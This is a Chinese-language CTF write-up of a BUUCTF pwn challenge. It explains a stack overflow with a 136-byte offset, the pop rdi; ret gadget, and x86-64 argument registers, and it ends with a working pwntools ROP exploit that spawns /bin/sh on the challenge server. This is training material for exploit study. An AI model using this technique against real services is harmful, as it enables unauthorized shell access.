话不多说,直接上题(BUUCTF)
扔进 IDA64 中反编译,发现调用了一个函数,进去看看
缓存区 buf 大小居然为 200,肯定存在溢出
双击 buf 可以算出需要 136 个字节垃圾数据
没有给后门函数,但是给了相关字符串,需要构造 ROP
64 位系统还格外需要一个 pop rdi; ret
指令,使用工具 ROPgadget 获取其地址
pop rdi; ret
是一个非常常见的 ROP gadget,它的作用是将栈上的一个值弹出并放入 rdi 寄存器中,然后执行 ret
跳转到下一个指令
构造 payload,pop rdi 在前,参数在函数前面
对于64位的Linux系统,函数的参数是这样传递的:
-
rdi: 第一个参数
-
rsi: 第二个参数
-
rdx: 第三个参数
-
rcx: 第四个参数
-
r8: 第五个参数
-
r9: 第六个参数
如果参数个数超过6个,那么剩余的参数会被推入栈中
from pwn import *
p = remote("node5.buuoj.cn",28172)
binsh = 0x0600A90
sys_addr = 0x0400603
pop_rdi = 0x04006b3
payload = b'a' * 136 + p64(pop_rdi) + p64(binsh) + p64(sys_addr)
p.sendline(payload)
p.interactive()
成功拿到 flag
© 版权声明
THE END
暂无评论内容